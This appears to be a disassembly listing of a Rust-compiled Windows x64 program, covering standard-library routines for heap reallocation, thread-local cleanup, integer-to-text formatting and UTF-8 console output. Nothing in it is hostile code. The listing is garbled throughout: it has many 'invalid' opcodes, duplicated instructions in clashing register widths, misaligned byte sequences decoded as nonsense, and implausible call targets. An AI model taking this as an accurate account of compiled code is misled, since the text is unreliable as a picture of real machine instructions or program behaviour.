pop rbp
ret
xor ecx, ecx
call fcn.140104360
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140104360
int3
sub esp, 0x20
lea rbp, [rsp + 0x20]
mov rsi, rcx
test rdx, rdx
je 0x1400d3e43
mov rdi, r8
mov rbx, rdx
cmp qword [r9 + 8], 0
je 0x1400d3e0d
mov r15, qword [r9 + 0x10]
test r15, r15
je 0x1400d3e0d
mov r14, qword [r9]
cmp rbx, 0x11
jae 0x1400d3e65
add dword [rax], 0
invalid
add dword [rax], 0
add byte [rax - 0x75], cl
or eax, 0xa941f
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
mov r9, rdi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
test rax, rax
jne 0x1400d3edd
invalid
add byte [rax], al
invalid
invalid
jmp 0x1400d3eef
test rdi, rdi
je 0x1400d3e50
movzx eax, byte [0x14017d2b0]
cmp rbx, 0x11
adc dword [rdi], ecx
invalid
lea eax, [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
sti
adc dword [rdi], ecx
or dword [rbp + 0x31000000], 0xffffffc9
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
lea rcx, [rsi + 8]
or byte [rax - 0x73], cl
push rsi
adc byte [rax - 0x7b], cl
invalid
or byte [rax - 0x73], cl
push rsi
adc byte [rax - 0x7b], cl
ror byte [rdi], 0x85
jne 0x1400d3edd
invalid
lodsb al, byte [rsi]
jne 0x1400d3edd
add byte [rax], al
jmp 0x1400d3eef
add byte [rax], al
add byte [rax - 0x39], cl
invalid
or byte [rax], r8b
mov qword [rsi + 8], 0
mov dword [rsi + 8], 0
add byte [rax], al
add cl, ch
jmp 0x1400d3ef5
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax - 0x77], cl
fmul dword [rax - 0x73]
or byte [rax - 0x73], r9b
push rsi
adc byte [rax - 0x7b], cl
sal byte [rbp + 0x7d], 0xe9
mov al, byte [rax]
add byte [rax], al
mov rax, rbx
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
test rax, rax
jne 0x1400d3edd
jmp 0x1400d3eef
lea rdx, [rdi + rbx]
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400d3ee7
lea rcx, [rbx - 1]
and rcx, rax
sub rbx, rcx
mov r12, rax
add r12, rbx
mov qword [rax + rbx - 8], rax
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [r14 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
sar bh, cl
adc eax, 0x3b555
sar bh, cl
adc eax, 0x3b555
mov rax, r12
jmp 0x1400d3ed5
lea rdx, [rbx + rdi]
lea edx, [rbx + rdi]
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400d3ee7
lea rcx, [rbx - 1]
and rcx, rax
sub rbx, rcx
sub ebx, ecx
sub ebx, ecx
mov rcx, rax
add rax, rbx
mov qword [rcx + rbx - 8], rcx
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
mov qword [rcx], rax
mov qword [rdx], rdi
xor eax, eax
jmp 0x1400d3efa
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
mov qword [rcx], rbx
mov qword [rdx], rdi
mov eax, 1
mov qword [rsi], rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
ror byte [rcx - 0x77], cl
enter 0xffffffffffffc149, 0xffffffffffffffe8
cmp ecx, dword [rdi]
xchg esp, eax
ret 0x8348
add eax, 0x4be
add byte [rax + 0xf], cl
cmovae esi, ecx
cmovae esi, ecx
mov r8, rsi
shl r8, 4
shl eax, 4
shl eax, 4
shl edx, 3
test rax, rax
test eax, eax
test eax, eax
je case.0x14001a36d.2908
mov ecx, dword [0x14017d2b4]
xchg edx, eax
or al, byte [rax]
mov r9, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [r9 + rcx*8]
or al, 0xc9
mov rcx, qword [rcx + 0x68]
mov dword [rax], ebp
add byte [rax], al
invalid
add byte [rax - 0x3f], cl
loopne 0x1400d4016
invalid
shl rax, 4
add al, 0x48
mov dword [rbp - 0x28], ecx
invalid
mov qword [rbp - 0x28], rcx
fmul dword [rax - 0x77]
call 0x1400d48d6
call 0x1400d48d6
mov qword [rbp - 0x18], rax
mov eax, 8
add byte [rax], al
call 0x1400d48d6
add byte [rax], al
add bl, ch
add dh, byte [rcx]
xor eax, eax
mov qword [rbp - 0x20], rax
invalid
jmp 0x1400d4023
xor eax, eax
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x10]
invalid
invalid
loopne 0x1400d4070
lea ecx, [rbp - 0x10]
invalid
lea r9, [rbp - 0x28]
call fcn.1400d3da0
std
invalid
dec dword [rax - 0x7d]
cmp dword [rbp - 0x10], 0
fsubr st(0)
insb byte [rdi], dx
std
invalid
cmp dword [rbp - 0x10], 0
jne 0x1400d406e
mov rax, qword [rbp - 8]
mov ecx, dword [0x14017d2b4]
outsd dx, dword [rsi]
xchg edx, eax
or al, byte [rax]
outsd dx, dword [rsi]
xchg edx, eax
or al, byte [rax]
mov rdx, qword gs:[0x58]
and eax, 0x58
add byte [rax - 0x75], cl
or al, 0xca
invalid
mov rcx, qword [rdx + rcx*8]
retf 0x8948
mov qword [rcx + 0x68], rax
push 0x48000000
mov dword [rcx + 0x60], esi
add byte [rax], al
invalid
mov qword [rcx + 0x60], rsi
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x58
add esp, 0x58
pop rsi
pop rbp
ret
call fcn.140104360
add byte [rax - 0x75], cl
mov rcx, qword [rbp - 8]
clc
clc
mov rdx, qword [rbp]
call fcn.140104360
add eax, dword [rax]
add al, ch
in eax, 2
add eax, dword [rax]
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp edx, 3
je 0x1400d409b
test edx, edx
jne 0x1400d40a0
call fcn.1400d40d0
nop
add rsp, 0x30
pop rbp
ret
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x70]
test rax, rax
je 0x1400d4173
dec rax
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rsi, qword [rdx + rcx*8]
mov qword [rsi + 0x70], rax
mov rdx, qword [rsi + 0x68]
shl rax, 4
xchg esi, eax
push 0x48000000
shl eax, 4
mov rcx, qword [rdx + rax]
mov rax, qword [rdx + rax + 8]
mov qword [rsi + 0x58], 0
call rax
cmp qword [rsi + 0x58], 0
je 0x1400d4100
lea rcx, str.library_std_src_syspalwindows_thread_local_key.rs
call fcn.1401048f0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r8, qword [rax + 0x68]
cmp qword [rax + 0x60], 0
mov qword [rax + 0x60], 0
mov qword [rax + 0x68], 8
mov qword [rax + 0x70], 0
mov qword [rax + 0x58], 0
je 0x1400d41d9
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x28
pop rsi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
mov al, 0
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x1400d42fa
test cl, 0x20
jne 0x1400d434a
mov r9, rdx
mov rcx, qword [rax]
mov eax, 0x27
ror dword [rax - 0x75], 1
or byte [rax + 0x27], bh
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
cmp rcx, 0x2710
jb 0x1400d43d6
invalid
lea eax, [rcx]
add byte [rax], al
invalid
invalid
add byte [rcx - 0x45], al
invalid
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
mov edx, 0x3886594b
invalid
invalid
insd dword [rdi], dx
xor al, 0xf
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x46], cl
mov edx, 0x3886594b
mov edx, 0x3886594b
cmp dh, dl
invalid
invalid
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
add byte [rax], al
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
adc ebp, dword [rbx - 0x39]
sub esi, eax
sub esi, eax
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
cld
test byte [rcx - 0x73], 0x43
cld
movzx edi, word [r8 + rdi*2]
cmp al, 0x78
mov word [rbp + r11 - 0x54], di
mov dword [rbp + rbx - 0x54], edi
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400d4260
cmp rdx, 0x63
jbe 0x1400d42de
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x1400d43e8
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
dec rax
jmp 0x1400d43f6
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d4310
jmp 0x1400d4398
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d4360
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d442e
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d441d
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400d42b4
jmp 0x1400d42de
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea r8, [0x14016f768]
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
ret
push rdi
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test rdx, rdx
je 0x1400d4b20
mov rax, qword [rcx + 0x10]
mov rsi, rax
mov esi, eax
mov esi, eax
sub rsi, rdx
jb 0x1400d4b28
mov qword [rcx + 0x10], 0
je 0x1400d4b20
mov rax, qword [rcx + 8]
add rdx, rax
mov rdi, rcx
mov rcx, rax
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov ecx, edx
mov ecx, edx
mov rdx, rax
call fcn.1401046e0
int3
mov edx, eax
shl rdx, 0x20
loop 0x1400d4bb0
loop 0x1400d4bb0
or rdx, 2
mov eax, 1
jmp 0x1400d4bab
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add rsp, 0xd0
add byte [rax], al
add byte [rbx + 0x5f], bl
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
loopne 0x1400d4c11
mov ecx, esi
call qword [sym.imp.kernel32.dll_GetConsoleMode]
test eax, eax
je 0x1400d4c91
movzx ecx, byte [rsi + 4]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400d4d05
cmp cl, 4
jae 0x1400d4dc4
movzx edx, byte [rdi]
mov eax, edx
and al, 0xc0
cmp al, 0x80
mov eax, 1
jne 0x1400d4d5c
mov byte [rsi + rcx], dl
movzx eax, byte [rsi + 4]
inc al
mov byte [rsi + 4], al
movzx ecx, byte [rsi]
lea rdx, [0x1401473b0]
movzx edi, byte [rcx + rdx]
mov qword [rbp - 0x28], rdi
cmp al, dil
jb 0x1400d4da7
wait
invalid
movzx r8d, al
cmp al, 5
jae 0x1400d4e4d
lea rcx, [rbp + 0x20]
mov rdx, rsi
call fcn.1400142e0
mov byte [rsi + 4], 0
cmp qword [rbp + 0x20], 0
jne 0x1400d4db3
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x10], rax
cmp rax, rdi
jne 0x1400d4ea9
mov rcx, r14
mov r8, rdi
call fcn.1400d4f20
test rax, rax
jne 0x1400d4bab
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x10], rdi
cmp rdi, rdx
jne 0x1400d4ec9
mov edx, 1
jmp 0x1400d4bab
movups xmm0, xmmword [0x1401471c8]
movaps xmmword [rbp + 0x20], xmm0
mov eax, 0xffffffff
cmp rbx, rax
cmovb rax, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400d4cf6
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x20]
cmp eax, 0x103
je 0x1400d4df9
test eax, eax
js 0x1400d4d6c
mov rdx, qword [rbp + 0x28]
xor eax, eax
jmp 0x1400d4bab
cmp rbx, 0x1000
mov r8d, 0x1000
cmovb r8, rbx
lea rcx, [rbp + 0x20]
mov rdx, rdi
call fcn.1400142e0
cmp qword [rbp + 0x20], 0
je 0x1400d4d79
mov r8, qword [rbp + 0x28]
test r8, r8
je 0x1400d4d8e
cmp r8, rbx
ja 0x1400d4e64
lea rcx, [rbp - 0x20]
mov rdx, rdi
call fcn.1400142e0
cmp qword [rbp - 0x20], 0
jne 0x1400d4e79
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
jmp 0x1400d4d81
mov byte [rsi + 4], 0
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x1400d4bab
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
jmp 0x1400d4b8a
mov rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x30]
mov rcx, r14
call fcn.1400d4f20
jmp 0x1400d4bab
movzx eax, byte [rdi]
lea rcx, [0x1401473b0]
movzx ecx, byte [rax + rcx]
cmp rcx, rbx
jbe 0x1400d4db3
mov byte [rsi], al
mov byte [rsi + 4], 1
mov edx, 1
xor eax, eax
jmp 0x1400d4bab
mov eax, 1
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x1400d4bab
lea rax, str.Unexpected_number_of_bytes_for_incomplete_UTF_8_codepoint.
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [0x14016f768]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp - 0x20]
call fcn.140104620
mov qword [rbp - 0x30], r14
mov dword [rbp + 0x40], 0
mov byte [rbp + 0x44], 0
lea rax, [0x140147230]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [rbp - 0x28]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rcx, [rbp + 0x40]
lea rdx, [rbp - 0x20]
call fcn.1400d3740
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1400d37e0
mov ecx, 7
int 0x29
ud2
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov edx, 4
mov rcx, r8
mov r8, rax
call fcn.1401046e0
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.1401046e0
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x10], xmm0
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401455d8]
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.1401049b0
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.14010c630
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.14010c630
int3
add dword [rax], 0x294c0000
enter 0x148, 0xffffffffffffffe9
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
add eax, 0x99989
add eax, 0x99989
mov r9d, 2
add al, byte [rax]
add byte [rax], al
mov rcx, rdx
mov dl, 1
jmp 0x1400d5553
or al, 0x30
mov byte [rbp + rcx - 0x50], al
jmp 0x1400d5529
mov ecx, 0x25
lea rax, [rcx + rbp]
add rax, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
lea r8, [0x14016f768]
mov rcx, rdx
mov dl, 1
add dword [rbp + 0x31], eax
leave
add dword [rbp + 0x31], eax
leave
call fcn.140012db0
nop
add rsp, 0xb0
pop rbp
ret
add al, ch
in eax, dx
lock add al, byte [rax]
int3
int3
add byte [rax], al
lea rbp, [rsp + 0x80]
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x1400d567a
test al, 0x20
jne 0x1400d56ca
mov r9, rdx
mov rcx, qword [rcx]
mov eax, 0x27
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
cmp rcx, 0x2710
jb 0x1400d5756
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rbp + r11 - 0x54], di
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400d55e0
cmp rdx, 0x63
jbe 0x1400d565e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x1400d5768
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
scasd eax, dword [rdi]
dec rax
jmp 0x1400d5776
mov rax, qword [rcx]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d5690
jmp 0x1400d5718
mov rax, qword [rcx]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d56e0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d57ae
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d579d
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400d5634
jmp 0x1400d565e
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea r8, [0x14016f768]
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
or dword [rax - 0x75], ecx
or dword [rbp - 0x17], ebx
mov edx, 0x90ffffe3
pop rbp
ret
int3
mov rax, qword [rdx + 0x28]
lea rdx, str.Threadid
mov r8d, 6
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x10], al
mov byte [rbp - 0xf], 0
mov rsi, qword [rdi]
mov esi, dword [rdi]
mov esi, dword [rdi]
invalid
mov rax, qword [rsi + 0x10]
mov qword [rbp - 0x20], rax
lea rax, [0x140145b58]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x140145b56]
lea rcx, [rbp - 0x18]
invalid
call 0x1205ae63d
lea r9, [rbp - 0x20]
mov r8d, 2
call fcn.1400144f0
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x1400d590e
mov rcx, qword [rsi + 0x20]
dec rcx
jmp 0x1400d590e
add byte [rax - 0x77], cl
ror byte [r8 - 0x77], 1
fmul dword [r8 - 0x73]
add eax, 0x70263
invalid
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x140145b80]
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, str.name
lea rcx, [rbp - 0x18]
call 0x1105ae67d
call 0x1105ae67d
mov r8d, 4
call fcn.1400144f0
mov al, 1
cmp byte [rbp - 0x10], 0
je 0x1400d594f
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
mov rsi, qword [rbp - 0x18]
cmp byte [rbp - 0xf], 0
je 0x1400d5979
test byte [rsi + 0x34], 4
jne 0x1400d5993
add al, 0x75
xor al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401111d0]
add eax, dword [rax]
mov r8d, 6
call qword [rax + 0x18]
jmp 0x1400d5944
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401111c9]
mov r8d, 7
call qword [rax + 0x18]
jmp 0x1400d5944
mov byte [rbp - 1], 1
movups xmm0, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], al
adc byte [rsi + 0x20], al
movaps xmmword [rbp - 0x50], xmm0
lea rax, [rbp - 1]
mov r8b, 0x48
lea eax, [rbp - 1]
mov qword [rbp - 0x40], rax
lea rdx, [0x1401111d6]
add byte [rax - 0x73], cl
mov r8b, 0x41
mov eax, 3
call fcn.1400146a0
test al, al
je 0x1400d59c8
mov al, 1
jmp 0x1400d5944
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
add bh, bh
push rax
sbb cl, ch
pop rdi
invalid
call qword [rax + 0x18]
jmp 0x1400d5944
call 0x16057e555
mov r9, qword [rdx + 0x28]
lea rax, [0x140148894]
mov r8d, 4
add byte [rax], al
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov byte [rbp + 1], 0
lea r8, [0x140145738]
lea eax, [0x140145738]
lea eax, [0x140145738]
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016520
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
test rcx, rcx
je 0x1400d5ad4
mov al, 1
test dl, dl
jne 0x1400d5ad6
add dword [rdx + rdx*8 - 0x74b78b8b], eax
jne 0x1400d5a5e
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d5a98
cmp byte [rbp + 1], 0
je 0x1400d5a98
test byte [rsi + 0x34], 4
jne 0x1400d5a98
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne 0x1400d5ad6
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
mov r8d, 1
mov eax, 1
mov eax, 1
add bh, bh
push rax
sbb bl, ch
and al, 0x48
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72dcb
call qword [rax + 0x18]
jmp 0x1400d5ad6
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72dcb
mov r8d, 4
add rsp, 0x48
add esp, 0x48
add esp, 0x48
pop rsi
pop rbp
jmp rax
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
int3
mov rbp, rsp
mov rax, qword [rcx]
mov rcx, qword [rax]
invalid
or byte [rax - 0x75], cl
mov rax, qword [rax + 8]
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rdx, rax
pop rbp
jmp fcn.140017020
hlt
invalid
or byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
ret 0xe95d
hlt
push rbp
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
insb byte [rdi], dx
and al, 0x40
mov rsi, rdx
mov qword [rbp - 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x7144f
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x7144f
mov r8d, 8
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
jne 0x1400d5b36
add bh, bh
push rax
sbb byte [rax - 0x77], cl
jne 0x1400d5b36
clc
mov byte [rbp], al
mov qword [rbp - 0x10], 0
add byte [rax - 0x39], cl
lock add byte [rax], al
add byte [rax], al
mov byte [rbp + 1], 0
lea r8, [0x140146f88]
adc al, 7
invalid
add byte [rbp + rcx*4 + 5], cl
xor al, 0x14
adc al, 7
adc al, 7
add byte [rax - 0x73], cl
invalid
invalid
invalid
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016520
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
add byte [rax - 0x7b], cl
leave
add byte [rax - 0x7b], cl
leave
je case.0x1400b56c9.326
push rsi
mov al, 1
test dl, dl
jne 0x1400d5bc6
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d5baa
add dword [rax], eax
je 0x1400d5baa
add byte [rsi + riz - 0xa], dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x1400d5baa
sub byte [rax - 0x73], r9b
adc eax, 0x6b057
push rdi
mov al, 6
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
push rdi
mov al, 6
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400d5bc6
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
sub byte [rax - 0x73], r9b
adc eax, 0x7460f
